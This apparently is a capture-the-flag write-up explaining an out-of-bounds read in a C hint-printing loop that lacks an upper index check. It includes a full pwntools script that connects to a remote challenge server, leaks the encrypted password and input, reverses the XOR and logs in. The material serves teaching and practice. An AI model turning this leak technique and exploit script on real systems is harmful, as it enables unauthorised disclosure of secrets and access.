We notice that there is no check for the index in the source code snippet below
```c
while (1) {
int idx;
printf("Enter a hint number (0~2) > ");
if (scanf("%d", &idx) == 1 && idx >= 0) {
for (int i = 0; i < 8; i++) {
putchar(hints[idx][i]); // 可以 leak
}
puts("");
} else {
break;
}
}
```
so we are able to get the encrypted input and password. Through the reverse process of the xor encryption, we are able to get the original password.
```py
from pwn import*
context(arch='amd64', os='linux', log_level='debug')
p=remote("34.146.186.1",41778)
# gdb.attach(p)
# pause()
p.recvuntil("Enter the password > ")
p.send("a"*31)
byte_string = b""
# get the password
for i in range(4):
p.recvuntil("Enter a hint number (0~2) > ")
p.sendline(str(i+4))
byte_string += p.recvline().strip().strip(b"\n")

input_string = b""
for i in range(4):
p.recvuntil("Enter a hint number (0~2) > ")
p.sendline(str(i+8))
input_string += p.recvline().strip().strip(b"\n")

print(input_string)
print(len(input_string))
print(byte_string)
print(len(byte_string))
# get key
key = b""
input = b"a"*31+b"\x00"
for i in range(3):
key = (u64(input[i*8:i*8+8].ljust(8, b"\x00")) ^ u64(input_string[i*8:i*8+8].ljust(8, b"\x00"))).to_bytes(8, "little")

print(key)
print(len(key))
# get password
password = b""

for i in range(4):
password += (u64(key) ^ u64(byte_string[i*8:i*8+8].ljust(8, b"\x00"))).to_bytes(8, "little")
print(password)
# find the first null byte
for i in range(31):
if password[i] == 0:
password = password[:i]
break
print(password)
p.recvuntil("Enter a hint number (0~2) > ")
p.sendline("-1")

p.recvuntil("Enter the password > ")
p.sendline(password)
p.interactive()
```